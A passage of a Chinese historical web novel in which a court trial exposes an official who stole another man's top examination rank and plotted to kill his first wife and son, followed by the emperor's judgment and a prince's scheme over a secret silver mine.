曹达接过,进行对比,当真一模一样。
以他多年经验,这字的确出自同一个人。
“李言,经本官对比,状元卷上的字的确与李大人所写的字出自同一人之手,而李姑娘所说的默字也没有少一点,所以两个证据都证明,当年的状元就是我朝吏部侍郎李言。
你们虽同名,但却是完全不同的两个人。
你们还有什么证据?”曹达的脸色比之前严肃了很多。
如果这是一起无理取闹的拦轿,这父女二人必受五十杖刑。
两人必死无疑。
“怎么会这样?”琉璃有些傻眼。
这是他们最有力的证据。
霍凝玉心里冷笑,黎彦为官这么多年,不可能什么都不做,为了以防东窗事发,肯定早就把当年的状元卷给换了,用自己写的来顶替。
可审案讲的就是证据。
“大人,我们还有人证。”琉璃突然大声道。
“带人证。”曹达示意。
一个年过六旬的老者被引进公堂。胡子已经全白,一身长衫衬得老人家儒雅风流。
李言一看到来人,瘸着腿走上前两步,向老者恭恭敬敬一躬身,嘴里发出“啊啊”声。
“堂下何人?”曹达问道。
“草民湖州府柠城县云海书院先生池子幽。”老者躬身一礼,并没有行跪拜大礼。
他虽不是官身,但有举人功名在身,哪怕是尚书大人,他也不必行跪礼。
“你与李言父女是什么关系?”
“回大人,草民是李言在县学里的先生,当年他拜在草民名下,草民见他读书确有天赋,认真教导。
不负众望,他在短短时间内就考过了县试府试和乡试。
当年我湖州府的乡试第一名就是草民的这位学生。
而那一年湖州府乡试的第十名正是一个叫黎彦的学子,草民记得很清楚。”池子幽不卑不亢说了当年李言考乡试的情况。
意思很明显,一个第十名的举人,怎么可能进了京,与来自全国各地的考生一起考,一下就突飞猛进,考了状元。
“我说老头,本官考了举人后,又学了三年才进京参加会试,你怎知那三年本官没有进步?”黎言嗤之以鼻。
池子幽的话的确不能作为有力的证据。
而就在这时,公堂外进来一群人,领头的居然是辰王。
后面跟着庆国公袁宏翼和黎彦的夫人袁紫玲。
袁紫玲一得到消息,本是不信的,但想到自己夫君这么多年,从来不写诗文炫耀自己的才华。
她心里升起一丝担忧,会不会真有其事。
但为了以防万一,此事决不能越演越烈。
为了尽快把此事压下,她立刻去找了自己的大堂哥庆国公出面。
庆国公也怕此事闹大,哪怕最终这个案子被证实是有人故意诬告,但也会对堂妹夫的官声有影响。他又立刻去找了辰王。
辰王听后哪里还坐得住。他在吏部最重要的人手就是李侍郎,必须保下来。
“曹大人,这种刁民拦轿,你也理?要是连这种不知天高地厚的人你也管,你每日恐怕
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忙得来连睡觉的时间都没有,还如何替父皇分忧?”辰王一来语带轻蔑地向曹达发难。
“辰王殿下说的是,只是这案子确有蹊跷,还涉及朝中三品高官,臣不得不慎重对待。”曹达起身行了一礼,但并没有被辰王的气势所震慑。
“曹大人,他们可有有力的证据?”辰王眼神锐利。
“目前尚无。”曹达实话实说。
“既然没有证据,那就是诬告,直接五十杖打死,以正国法。”辰王直接下令。
他后面的两个护卫二话不说,拖着琉璃父女两人就要往外拉。
“慢着。大伯,侄儿一直在此,曹大人做得很好,审案按部就班,直到现在还没定案呢。
为何你一来,什么都还没搞清楚就下定论?苦主的证据都还没完全拿出来呢。
咱们作为皇家人,享百姓供奉,当爱民如子,你可不能丢我们皇家人的脸啊。”赵凌哲说得振振有词,句句在理,但也句句在说辰王不顾皇家颜面。
“凌哲,你一个小孩子懂什么?有些叼民就喜欢哗众取宠,定是有人打听到这废物的名字与李大人一样,所以才利用他来算计李大人。
为官者哪有不得罪人的,李大人又是吏部侍郎,管着南楚官员的考核,更是容易得罪人。这就是有人要报复他。”辰王摆起长辈的架子,训斥道。
“大伯,你是不是想说就是被侄儿利用?”赵凌哲说话直截了当,又带着不谙世事的天真。
“凌哲,大伯没这个意思,只是告诉你人心险恶,不可被人利用。”辰王被噎得一顿。
他还就是这个意思,但不能当着曹达的面说出来。
显得他没有度量,公开场合欺负一个孩子。
“大伯没这个意思,说明大伯是个通透之人,何不等曹大人把案子审完。
如果李大人真是被冤枉的,曹大人自会还他清白,皇祖父也不会因这事责难李大人。”赵凌哲一点不惧辰王,说出的话让人挑不出半点错。
辰王被堵得无法反驳,但他的眼神却在琉璃父女身上转了转。
“凌哲,你可知道这女子是谁?”辰王阴沉着脸,一甩袖坐到椅子上。
第192章 被抛弃的一对母子
“大伯认得此女?”赵凌哲不答反问,装出一副不认识琉璃的模样。
“哼,你少在本王面前装不知,这女子不就是昭勇郡主身边伺候的丫鬟吗?
想要污蔑李大人,也不选个谁也不认识的女子。
一个贱民也敢拦尚书大人的轿子,谁给她的胆子?”
辰王已经不想再与赵凌哲多说废话,直接点出琉璃的身份。
华云山上,他亲眼所见,琉璃挥着鞭子护在霍凝玉身边。
同时很明确在说琉璃父女就是东宫安排的。
霍家与东宫本就是一条绳上的蚂蚱。
“辰王殿下,你说得没错,这李家姑娘的确曾是我的丫鬟。
不过得知他们父女的冤屈后,我就还了她的身契,现在她是良民,不是贱籍。
她最开始并不想去拦曹大人的轿子,而是想去敲登闻鼓。
可你看他们父女的身子骨,怎么经得起五十杖刑,冤还没申,人就**。
后来她请求我帮忙想办法把她送进李大人府上,她要亲手杀了李大人,玉石俱焚。
如果他们父女不是真的有冤,她何苦做到这个份上?
所以我们才给她指了一条明路,直接找曹大人。
曹大人作为刑部尚书,这些年来秉公办案,从不徇私枉法。李姑娘才有一线希望。
可这才刚刚开始审,你就带着庆国公来了,是不是想以权压人,枉顾律法?”
霍凝玉说得振振有词,也承认琉璃是她的丫鬟,但也不给辰王半点插手的机会。
“你......”辰王又被堵得哑口无言。阴鸷的眼神直直盯着霍凝玉。
这该死的女人,坏了他多少好事。今日明显又想坏他的好事,折他的羽翼。
“夫君,他们肯定是攀咬你的,对不对?”袁紫玲走到黎彦身边,关心问道。
“夫人放心,我怎么可能会做顶替别人的事?我为官这么多年,做事深得皇上嘉奖,要是我真是个草包,怎么能把政事处理得好?更不可能一路升到吏部侍郎的要职。”黎彦安慰道,且自信满满。
“曹大人,继续审案吧。”赵凌哲小手一挥。
“曹大人,民女还有人证。”琉璃接收到太孙殿下的眼神,又一声高喊。
见到这么多人来给黎彦撑腰,她也半点不惧,可见他们父女是真有冤。
“带人证。”曹达一拍惊堂木。
这回进来的却是一个妇人,看年纪约快四十岁,面容发黑,皮肤粗糙,一看就是常年劳作的农家妇人。
面容与实际年龄并不符,实际她只有三十二岁。
衣服洗得发白,还有补丁,但很干净。
可当她进来,却不敢乱看。身边有个十四岁左右的年轻小子,被她牵着。
恭恭敬敬跪到公堂中央。
“民妇.......刘氏......叩见大人。”妇人很紧张。
“呵呵,嘿嘿,娘,这是哪儿,好富贵。”刘氏身边的小子傻笑着说了一句牛头不对马嘴的话。
他一出言,所有人一看就知道,这是个傻儿。
“李姑娘,刘氏是你什么人?”曹达奇怪问道。
“曹大人,刘氏原名刘香巧,不知侍郎大人可还记得这个名字?”琉璃冷冷地看向黎彦。
而这个名字一报出,黎彦本就有些僵硬的身子,猛地颤了颤。
他正在看刘氏还有她身边的小子。
一股强烈的熟悉感瞬间袭来。
这怎么可能?
他们不是六年前就**吗?
但他很快稳定下来,温柔地轻轻拍了拍身边的妻子。
“本官怎么可能认识如此粗鄙的农妇?”黎彦面不改色地否认。
“刘婶子,你看看这人,可认得他?”琉璃温声道,“不要怕,大胆看,虽然他是侍郎大人,但有曹大人在,他不敢如何。”
琉璃上前把刘氏母子扶起。
刘香巧这才敢抬起头来顺着琉璃的手指看向黎彦。
一张熟悉的脸映入眼帘。
“夫君?夫君!”刘香巧瞬间失态惊呼。
顾不得这是公堂之上,激动地就扑过来,想要抓住黎彦。
可是却被黎彦一闪身躲开。
“哪里来的疯婆子,睁大你的狗眼看清楚,本官怎么可能是你的夫君,本官一生只娶过一妻。别污了本官的名声。”黎彦狠声说道。
“夫君,妾身是香巧啊,你怎能不认妾身?“刘香巧不可置信,这张脸她怎么可能忘记。
她嫁给他时才十七岁,夫妻恩爱,她还为他生了一个大胖儿子。<
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br>她欢欢喜喜送丈夫进京赶考,可一去就是六年。有人说丈夫在外遇难,可能再也回不来了。
她等了一年又一年,等到公婆都去了,也没等到夫君回来。
直到六年后,夫君终于回来了,告诉她,他这么多年没回来是忙着在京城站稳脚,他入了一个京城的书院做教书先生,机会十分难得。
他站稳了脚才回来接他们母子。
可是天有不测风云,就在进京的路上,他们遇到**,夫君与两个小厮迎敌,而她与孩子在马车里躲着。
结果马被射中一箭,疯跑起来,带着他们母子不知跑了多久,最终坠崖。
等到她醒来时,被一对好心的老夫妻所救。而她却伤了脑子,不记得过去的事情,儿子直接摔成了傻子。
直到两年后,她才慢慢恢复记忆,可身在何处,她根本不知道。想到那伙土匪,估计夫君也是凶多吉少。
无处可去的她只得带着儿子继续留在那家生活。
几个月前,却有个男子找来说有她丈夫的消息,她才跟着来了。
可是为什么夫君不认她。
对,儿子,他们的儿子,他总会认吧。
刘香巧立刻拉过儿子,推到黎彦的面前。
“夫君,你可以不认妾身,可是毅儿是你的亲生儿子,你不能不管啊。
呜呜......六年前,妾身和儿子被疯马甩下悬崖,儿子被摔傻了,妾身也失去了记忆。
等妾身想起来时,已是两年以后,妾身不知道去哪里找你,只得就地生活。
也不知道你还活着,如果知道你还活着,妾身无论如何也会来找你。”刘香巧说到伤心处,呜呜哭泣起来。
她独自一人带着孩子,多么艰辛。
她已经看出来,夫君早就娶了高门贵女,还身居高位。
知道自己已是他的拦路石,可儿子不能跟着她这个无能的娘。如果有好的大夫,或许还能救救儿子,儿子不能傻一辈子。
她可以回去报答收留他们母子的那对老夫妻。
“呃呃,你是我爹?爹......哇哇....,爹,有人打我,爹,我有爹。”叫毅儿的小子语无伦次,又哭又叫。
听着他的疯言疯语,就知道他经常被人欺负。
第193章 不认妻儿
“你是不是受人指使?本官根本不认识你,你不要乱叫夫君。”黎彦有些慌了,但竭力否认。
无论如何,他也不能认下这对母子。
认下就是死罪。
可听了刘香巧话的众人都把目光定在毅儿脸上。
仔细看,毅儿真与黎彦有几分相似。
只有血亲才会有相似之处。
不过这也不能说明他们就是父子。
“来人,把这不知所谓的贱妇给本官打杀了,居然敢攀咬朝廷命官。”黎彦嘶喊。
他必须快刀斩乱麻。
只有死人才不会说话,不会对他造成威胁。
就算今日他当堂杀了这对母子,凭他现在的身份,想要摆平此事也不是难事。
贱民胡乱攀咬重臣本就应该受重刑。
内堂,乾德帝听着黎彦的大呼小叫,皱了皱眉。
“好大一出戏。你一手操控的?”乾德帝斜了赵炳煜一眼。
“是。”赵炳煜点头承认。
“此事是真?”乾德帝心里已经有了定夺。
“臣也不知是不是真,曹大人定能将案子审个水落石出。”赵炳煜摊了摊手,故意装不知。
引得乾德帝瞪了他一眼,继续听着堂外动静。
“放肆!”曹达一声大喝,”这里是公堂。李大人是想扰乱公堂吗?”
官大一级压死人,他是尚书,黎彦只是侍郎。
这顶帽子压下来,就是辰王也不能说什么。
“曹大人,好大的官威,李侍郎不过是被污蔑,激动了些,何必如此较真。”庆国公忍不住说了一句。
这阵喧闹,把刘香巧吓得不轻,立刻拉着儿子又跪了下来。
“刘氏,不用害怕。你确定李大人是你夫君?”曹达继续审案,但怕吓着人证,说话带了几分温和。
刘香巧缩了缩身子,又偷偷看了一眼黎彦。
却被黎彦那吃人的眼神吓得快速避开他的眼。
“爹,爹,有爹。帮我打他们.....打,打,打......”毅儿又乱叫起来,还想向黎彦奔去。
毅儿被刘香巧死死拉住。
看到儿子见到亲生父亲的反应,刘香巧又悲从中来。
儿子跟着她根本不可能有好日子过。
没有钱,请不了好大夫,也娶不到媳妇,她不能害了孩子。
他亲爹一定有办法。
“回大人,他的确是民妇的夫君。”刘香巧把心一横,维持原来的说法。
“曹大人,她胡说,下官根本不认识她。”黎彦强调。
“刘氏,你如何确定他是你夫君?”曹达已经看出猫腻。
“大人,夫君的后腰上有一颗豆大的黑痣。”
“你说什么?”刘香巧的话让袁紫玲大吃一惊。
夫君后腰上的痣,夫君自己都看不到,只有与他做了多年夫妻的自己才知道。
而她并没有与夫君说起过这种身体上的小瑕疵。
这妇人是怎么知道的?
“夫人,怎么了?”黎彦莫名,“难道......”
黎彦一慌。
“来人,带李大人去验看。”曹达命令。
两个衙差上前,不给黎彦半点挣脱的机会,把人带到公堂侧面一个房间里。
“李大人,得罪了。”其中一人上前帮黎彦宽衣。
“你们可得看仔细了。”黎彦出言威胁,同时却从怀里拿出一叠银票,伸到两个衙差面前。
两人一愣。
黎彦往前递了递,眼神示意他们快些收起来。
“李大人,我们是职责所在。”一人不敢伸手。
“放心,刑部做不下去,可到吏部来,本官保证让你们比在刑部过得好。”
两个衙差看着伸到他们面前、面值一千两的银票。
两人口水都要流出来了。
他们干一辈子也挣不到一千两。
这个诱惑让两人宽衣的动作停滞不动。
“没有外人,拿着吧。”黎彦直接把银票塞到两人手里。
两人看着烫手的银票,可是好舍不得还回去。
其中一人心一横,收进怀里,另一人见同伴收了,也收进怀里。
三人很快出来。
“回大人,李大人后腰干干净净,没有半点瑕疵。”一人回道。
袁紫玲听得此话,目瞪口呆。
她已想到夫君收买了两人,但这种情况,她不能拆穿夫君,先过眼前这关,其它事情回家再解决。
霍凝玉听得这个结果,心里一凉。
不会吧?
难道黎彦连这个也准备好了?
他怎么能想得这么远?
不对,肯定还有什么问题,她没有想到。
那个衙差是刑部,想要收卖不容易,除非重金。
但想到黎彦善钻营,很有可能短短时间,他就把人收买了。
刘香巧不可能认错自己的夫君。
这要怎么办?
霍凝玉脑子飞速运转。
曹达有些失望,看来李家父女真有可能被人利用。他看了一眼赵凌哲,难道真是东宫做的?
太子已经病入膏肓,哪里还有能力设计陷害人。
每日清醒的时间都不多。
“刘氏,你也听到了,李大人的后腰没有你所说的黑痣,你这就是攀咬。你可知道,在公堂上做假证是要吃板子的?”曹达只能依法办事。
“大人,民妇没有说谎,他真是民妇的夫君啊。”刘香巧匍匐在地,身子颤抖。
一边哭泣着,一边把自己这些年来的经历说了一遍。
“大人,民妇不求别的,只求夫君能认下孩子,给他请名医医治,让我儿能过上正常人的生活,民妇就知足了。民妇不会打扰夫君的生活。”刘香巧认得清自己的身份。
自她进堂来就把一切都看得分明。
她不是无知的妇人,目不识丁。她是秀才家的女儿,从小受父亲教导,能写会算。
可现在她的身份,无以抵抗京中的高官。
可她最放不下的就是儿子。
“可你没有证据证明他就是你夫君。来人,拉下去,重打五十板子,以正法纪。”曹达还是残忍地执行公堂上的程序。
两个衙差上前架起刘香巧。
“大人,冤枉,他真的是民妇的夫君啊。
黎彦,我为黎家生下长子,为公婆养老送终,你不能如此无情啊。”刘香巧被拖着走,心凉到谷底,发出悲鸣。
她嫁的男人怎可如此无情。
琉璃父女二人一直旁观,发现事态的发展好像有些偏离他们的目的。
明明是他们父女状告吏部侍郎,怎么成了刘氏认夫了?
“慢着。”就在此时,霍凝玉一声高喊,她想到还有一个证据。
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第194章 杖二十
“昭勇郡主,曹大人断案,你还是少插嘴。”辰王冷冷地扫了霍凝玉一眼。
这个女人邪性得很。他怕她又有什么主意,改变全局。
“曹大人,刘氏既然说她是李大人的妻子,那么她的儿子自然就是李大人的儿子。
我听说亲生父母与儿女的血是相容的,何不来个滴血验亲?
如果李大人的血与刘氏儿子的血不相容,再行处置也不迟。”霍凝玉不理采辰王,而是向曹达说出自己的建议。
她的话让拉人的两个衙差都停下了脚步。
黎彦更是脸色瞬间惨白,身子僵硬。
他的反应让离他最近的袁紫玲感受到了。
难道她所嫁的男人真的有妻儿?
这不可能,他不敢。
“李大人,你既然一口咬定刘氏不是你妻子,那么验一下血就能证明她是攀诬,你可不能推迟。”霍凝玉笑眯眯地看着黎彦,同时也看到他五彩纷呈的脸色变化。
“曹大人,此事不妥,如果每个想要攀附的妇人都带着一个儿子来朝中认亲,难道我南楚的官员都要配合验亲?且不乱了礼法?”辰王立刻反对。
他也看到了黎彦的脸色变化,心里已经有七八分猜测。
这李大人还真有可能是假的,而那残废才是真的状元。
要真是如此,真是好大的狗胆。
但事已至此,为了保住侍郎之位,他必须阻止。
“曹大人,此法可行。大伯所说的情况虽有可能,但几率太小,谁有那个胆子随便攀咬?
一旦被查出是假,就要面对律法的裁定,谁敢冒死?
只有真正受害者才会不顾一切也要为自己讨个公道。”赵凌哲直接站起身来反对。
曹达看到他们二人怒目而视,心里泛起苦涩。
他审个案,却让两个势如水火的伯侄两人横插一脚。
这时,一个男子从后堂出来,在曹达耳边低语了几句。
曹达身子一震,目光一凌。
但很快就稳住,坐正了身子,惊堂木又一拍。
“验血。”直接下令,不给任何人再说话的机会。
很快,一碗清水端上来。一个衙差先给毅儿放了点血在碗里,又端到黎彦面前。
“李大人,请。”
黎彦看着面前的碗,里面一点殷红,刺得他心肝发颤。
犹豫着不肯伸出手来。
“李大人?”曹达冷冷提醒。
可黎彦还是不肯伸出手。
“来人,给李大人放血。”曹达气势陡然一变。
两个衙差得令,抓住黎彦的手,用匕首一划,血滴入碗中。
衙差立刻端到曹达面前。
霍凝玉和赵凌哲也凑过来看。
两人的血,慢慢聚拢。
“融了,融了。”赵凌哲兴奋大叫。
辰王面色铁青,闭了闭眼。庆国公也错愕地看向黎彦。
“好啊,李言,你居然娶过妻,还生了孩子,却来骗我袁家女。你是当我庆国公好欺负的吗?”庆国公一怒,蹭地一下站起,毫不犹豫一个巴掌甩过去。
“啪!”
声音响彻整个公堂。
黎彦被打得后退一步,跌靠在袁紫玲身上。
“夫君,为什么?”袁紫玲此时已经泪流满面。
当年她嫁得状元郎,引得多少闺中小姐羡慕。两人还育有两子一女,夫妻恩爱。
而这一切原来是一场骗局。
停妻另娶是重罪,杖六十,还要坐牢,有功名者格除功名。
“黎彦,你还有什么话说?”曹达的声音如魔音传入黎彦的耳中。
他如丢了魂般,目光呆滞。
“把李言给本官押上来。”曹达一声低喝。
两个衙差拖了黎彦押跪到公堂中间。
“本官再问你。这是不是你的妻儿?”曹达手指刘氏母子。
“我......我......”黎彦已经惊慌得不知所措。
“证据确凿,你还不肯认吗?按我南楚律法,停妻另娶者先杖六十。来人,行刑。”曹达果断做出判决。
琉璃见此,立刻跪下。
“曹大人,可否先杖二十,等把民女爹的冤案审清楚再打剩下的,民女怕他被打死了,就成了死无对证。”琉璃恳求。
被吓傻的黎彦没想到关键时候却是苦主为他求情。
眼神呆呆地转向琉璃。
他有罪,可是人不为己天诛地灭。
他寒窗苦读十多年,最后却是榜上无名。而与他同住一屋的人却高中状元。
他受不了这样的落差。
那一瞬,他心生歹念,从此再也无法回头。
“好,先杖二十。”曹达很爽快应下。
就在公堂上行刑。
两个衙差抬来长凳放好,扒了他一身官服,把人按在凳子上。
“大哥,救我。辰王殿下,救我。我知道错了。”被按到凳子上,黎彦才从惊慌失措中回过神。
他错了。
可是没人理会他。
刑部专有的挺杖啪的一声打在他身上,剧烈的疼痛瞬间袭卷而来。
一声凄厉的惨叫声响起。
他养尊处优多年,哪里受过这等刑罚。
本小章还未完,请点击下一页继续阅读后面精彩内容!但行刑的衙差不留半点情面,一杖杖落下,还要掌握一个力度,不能把人打死,打完还要让他能开口说话。
二十杖很快打完。黎彦已经疼得眼泪横流,毫无形象。
辰王和庆国公两人都冷眼看着。
没救了。
他们也不再多言。
那一碗血就是铁证,就算没有顶替状元一事,他也做不成吏部侍郎了。
只短短时间,辰王和庆国公就放弃了他。
“曹大人,我怀疑当年刘氏母子遇到山匪和惊马,被甩下悬崖也是李大人自导自演的一出戏,目的就是处理掉他的后顾之忧,以防东窗事发。”霍凝玉悄声在曹达的耳边说道。
曹达点点头,他早就想到。
“刘氏,刚才你说,六年前他回乡接你们母子进京,可有什么异常行为?”曹达继续审案。
“回大人,有。我们夫妻多年不见,本应该久别胜新婚,可他却总是躲着民妇,不肯与民妇同睡一屋。”
当时夫君找各种借口,刘香巧也没怀疑,今日才知道为什么。
“李言,刘氏母子是不是你设计杀害的?”曹达直视如死狗般趴在凳子上的人。
可是他只顾着喘气,不开口。
“不说,那就继续打。”曹达挥了挥手。
“我......我说。”只二十杖就把黎彦打怕了,他受不住,真的受不住。
已经东窗事发,他没有退路了。
“是我设计想除掉他们母子,我怕有朝一日,被政敌发现,给我致命一击。”黎彦老实交代。
“很好。残害妻儿,罪加一等。”曹达审过多年案子,如这般丧心病狂的,还真没遇到多少。
“本官再问你,当年你是否顶了别人的状元之名?”曹达回到今日的主案。
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第195章 洗刷冤屈
“不,我没有。”黎彦想也不想就否认。
那件事,他把一切可能的证据都扫除干净,没有证据能证明他是顶替的。
他如果认下,必死无疑。如果只是前面的罪行,或还有一线生机。
至少夫人看在他们夫妻多年,还有三个孩子的份上,定会想办法救他性命。
如果冒名顶替状元一事落实,他再也没有活路。
“哼,李言,你如果认罪,本官还能从轻发落,让你死得痛快。你却冥顽不灵,死到临头还不认。
你以为你把一切都做得天衣无缝,本官就没有证据了吗?”曹达脸色变得异常严肃。
“我没有。”黎彦还是矢口否认。
曹达一定是诈他的。他不能认,他还不想死。
“李仙儿,你们可还有证据?”曹达问道。
“没有了。”琉璃无奈。
两个人证都是余大人派人去找来的。
“刘香巧,你与你夫君是哪里人氏?”曹达看向刘香巧。
“回大人,我们是湖州府梧城县人氏。”刘香巧拿出自己的路引。
琉璃也拿出自己的路引:湖州府柠城县。
“十二年前的殿试登记名单上写着李言籍贯:湖州府柠城县,而刘香巧的路引是梧城县。
李言,既然你已承认她是你妻子,而你们的籍贯却不同,这是漏洞之一。
还有一个最大的漏洞,这份当年的状元卷所用的纸张却与其他考卷不同。
每次殿试所用的纸都是特供的,每一张上都在最左下角有个小小的钢印标记。
十二年前的那批纸张出自临江县,而你用来誊抄的这张纸,却是京城外官办作坊生产的,专供给京城富贵人家的纸。还没有达到皇家用纸的材质。
你就是想找到那批纸来誊抄,你也找不到。因为数量有限。”
曹达将两个最关键的证据摆出,黎彦再也无话可说。
他怎么也没想到曹达居然从纸张上就能找出证据。
他没有参加过殿试,哪里知道殿试用的纸和一般用纸完全不同。
“你本名叫黎彦,与李言的名字相仿,你就敢胆大妄为,毁了真正的状元,冒名顶替。”曹达坐实了他的罪行。
琉璃父女听到此处,跪下连连叩头。
“多谢青天大老爷为我们父女做主,多谢青天大老爷为我父亲洗刷冤屈。”琉璃父女抬起头来时,早已泪流满面。
“快起来,李言本是我南楚状元之才,却遭此横祸,此事本官定如实禀报皇上。请皇上为你们做主。”曹达让人扶起他们二人。
就在此时,公堂后面走出两人。
正是乾德帝和赵炳煜。
所有人跪地行礼。
“皇祖父,您怎么在这儿?”赵凌哲昂起头,好奇地问道。
“只许你来看热闹,朕就不能出宫看个热闹?”乾德帝摸了摸孙子的头。
“父皇。”辰王此时心虚不已。
“哼,你有空在这儿浪费时间,是不是嫌朕给你安排的事情太少了?”乾德帝听了整个过程,辰王来此做什么,他一清二楚。
“儿臣知错。儿臣也是被人蒙蔽。儿臣以为有人要攀诬吏部侍郎,特来看看。
谁知李大人真的有罪,而且胆大包天,顶替状元,杀妻灭子,罪无可恕。”辰王被乾德帝抓了个正着,立刻改了态度。
乾德帝又把目光定在庆国公身上。
“臣知错,臣真的不知道李言如此大胆。
当年他为了攀附我庆国公府,隐瞒已有妻儿的事实,娶了臣的堂妹为妻。
若早知他是这等无耻之徒,我袁家定不会将女儿嫁他为妻,他把我们所有人都骗了。
皇上,我们袁家冤呀,我袁家千娇万宠长大的女儿却被他毁了一生。”庆国公说着故意抹起了眼泪。
袁紫玲更是伤心得不能自已。
当年家里看上了状元郎,让她嫁给状元郎。
而那时她只有十六岁,整整比李言小了八岁,一开始她并不喜欢状元郎,可家里为了笼络一个前途无量的状元郎,硬是将她嫁给了李郎。
谁知命运弄人。
今日过后,她就成了整个京城的笑柄。
且还要受夫君的牵连成为罪人。
她的三个儿女要怎么办?越想越伤心。
一切都毁了。
想到这儿,袁紫玲突然来了勇气。几步来到乾德帝面前,扑通一声跪下。
“皇上,请为臣妇做主。当年我们袁家根本不知道他是冒名顶替的状元郎,才把臣女嫁给了他。
我们是被蒙蔽的呀。
还请皇上同意臣妇与他和离。
臣妇的三个孩子是无辜的,臣妇也是无辜的。”袁紫玲不停地叩头。
为了自己的孩子,为了自己的家,她豁出去了。
乾德帝只是扫了她一眼,不予理会。
一切,他都看得分明。
袁家既然用女儿拉拢势力,就要做好被雁啄的准备。
“曹达。”
“臣在。”
“此等恶徒,你如何判?”乾德帝情绪很稳定。
在后堂听了整个过程,赵炳煜一直就陪在身边,时不时安慰他几句。
本小章还未完,请点击下一页继续阅读后面精彩内容!“当受腰斩之刑。”曹达今日也受到了重重冲击。
岂止是恶徒,简直是目无王法,把南楚万千文人置于何地。
要是让人知道天下还有人能做到不知不觉顶替了状元郎,这影响实在太过恶劣。
“赵壑,把他带去天牢,好好审审,这些年他利用职务之便,都做过什么?再给他另行定罪。”乾德帝冷声吩咐。
“是。”赵炳煜应道。
这是要数罪并罚。
当场,赵炳煜就让两个皇城司的下属把人拖走。
辰王看到这一幕,却无能为力。
皇城司的人接手,他想做手脚都难。
乾德帝走到琉璃父女俩面前。
父女俩又立刻跪下。
“民女叩见皇上,皇上万福金安。”琉璃带着父亲规规矩矩行礼。
她在余征手里大半年,又在霍家几个月,规矩礼仪都懂。
乾德帝弯下腰,亲自把李言扶起来。
“你才是真正的状元?”
李言猛点头,可是眼里全是泪花,嘴里发出啊啊声。
当年他进宫殿试,皇上就站在他身边,看他答卷,站了几息时间。
当时他激动的手都有些颤抖。等到皇上走开,他才握紧笔。
这么多年过去,皇上比以前老了,而他比那时更老。
“是朕的错,没能做到明察秋毫。你受苦了。”乾德帝拍了拍李言的肩膀。
“曹达。”
“臣在。”
“抄了李言的府邸和所有财产,全部给我们真正的状元郎。少了一文一毫,唯你是问。”乾德帝命令道。
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第196章 要成亲了
“臣领旨。”
伤害已经造成,他只能给些财物,让他们父女生活无忧。
乾德帝的话让父女俩感动得又跪下叩头。
“多谢皇上。”
乾德帝看到琉璃那嗑红了的额头。
“你是个好女子,为了父亲,千里奔波,为父申冤。曹达,这样的女子应该有个好姻缘,你回去和你夫人商量一下,看看京中哪家的儿郎堪为良配,给她找个好婆家。”乾德帝心生同情,再帮这对父女一把。
他亲自交代下去的事情,以后谁也不敢欺负他们父女。
“是,臣今晚下值回家就把此事与夫人说说。”曹达很乐意为夫人揽下此等好事。
“皇祖父,李言的嗓子是被毒哑的,孙儿想请太医给他看看,如果能治好,可以说话,孙儿想多个先生。”赵凌哲拉着乾德帝的手,央求道。
“你是个好孩子,这事你自己做主,如果他能教导你,也全了朕对他的亏欠之心。”乾德帝很满意孙儿能如此为他人着想。
万千学子,三年才出一个状元,一旦考上状元,前途无量。
如果当年没有发生被顶替之事,李言本该是他的肱骨之臣,却被人害得口不能言,手不能提,腿也瘸了。
“造化弄人啊。”乾德帝感叹。
琉璃又带着李言向霍凝玉和赵炳煜两人道谢。
如果没有他们帮忙,她想申冤,难如登天。
“现在开始你已不是奴婢,以后带着你父亲好好生活。你随时可以来霍家找我说说心里话。”霍凝玉牵着她的手,笑着道。
“多谢小姐。”琉璃感动的眼泪又一次下来。
一场拖了十二年的状元顶替案终于大白于天下。
曹达动作很快,当天就抄了吏部侍郎的家,让李言父女住了进去。
黎彦的夫人和儿女同时收监,等候发落。
赵炳煜也很快审出这些年,黎彦利用职务之便犯了哪些事。
收受地方官员贿赂,为进京的官员铺路,谋求更高的职位。
又利用职务之便,安插要职,为辰王拉拢人脉。
重刑之下,他全都交代了。
赵炳煜直接维持曹达的原判,判其腰斩,且斩立决。
此案又牵连出好些官员。
有罪的全都抓了,辰王又折了不少人手,气得他想把黎彦给生吞活剥。
可惜他插手不了赵炳煜手里的事。
“曾先生,本王的人手不断折损,真是气煞本王了。”辰王这回是真的很恼火。
以前折损他都没这么心疼,可这次折的是吏部侍郎。
吏部可是六部之首,管着所有官员的升迁,最能安插和拉拢官员为他所用,最为关键。
这么重要的一个职位失去,辰王怎么也咽不下这口气。
“王爷,事已至此,说什么都无用,我们得向前看。”曾永信温声劝道。
“这次我们折了八个官员,以后想要再聚拢人脉为本王所用,只能靠钱财。你可有收到廖含章送来的信?”辰王只能从长计议。
“属下正要向王爷禀报,刚刚收到。”曾永信从怀里拿出一封还没拆封的信恭敬地递给辰王。
辰王接过拆开,快速浏览起来。
越往后看,心情越来越愉悦。
“哈哈,真是天无绝人之路。”辰王看完信后大笑出声。
“王爷,廖大人怎么说?”
“他说彭城县的望云山已经到手,经勘察确是银矿无疑,他已经私自准备开始开采。
曾先生,你派几个暗卫过去给他用,让他务必守好,不许让任何可疑之人靠近,绝不能让人发现。”辰王一扫今日黎彦带来的阴霾。
“属下领命。王爷,如果大量开采,这钱要如何洗干净,且不让人察觉?”如果突然有大量银钱在京城流出,肯定会引得京兆府和皇城司的人关注。
万一查出问题来,可就洗不清了。
两人都陷入深思。
“王爷,属下有一计。”曾永信灵机一动,想到了一个办法。
“说来听听。”辰王眼睛一亮。
曾永信把自己的想法一说,引得辰王大加赞赏。
“就这么办,此事你交给心复去办。”
黎彦的所作所为,又让说书先生宣讲了不少时日。
霍凝玉把赵凌哲送回东宫回到家。
家里居然来了客人。
“这就是昭勇郡主吧,长得可真水灵。老身见过昭勇郡主。”一个头发已经花白的老夫人,起身向她行礼。
“老夫人免礼,您是?”霍凝玉从没见过这位老人家。
“凝玉,这是阿洛的祖母,今日刚到京就上门来拜访。”容华芝笑着介绍。
“哦,原来是钟离老夫人。”霍凝玉欢喜道,“老夫人您是不是进京给钟离大哥张络婚事的?”
“是啊,他写信回家,可让我老婆子高兴坏了。孩子有出息,老身死也无憾了。
没想到我钟离家还能有这么出息的儿郎,这都多亏了昭勇郡主救了他一命,才有了他今日的前程。老身多谢你。”
钟离老夫人又向霍凝玉郑重一礼,被霍凝玉一把扶住。
本小章还未完,请点击下一页继续阅读后面精彩内容!“老夫人不必如此,现在钟离大哥与我表妹定了亲,以后就是我表妹夫,就是一家人。一家人不说两家话。”霍凝玉心里是真的欢喜。
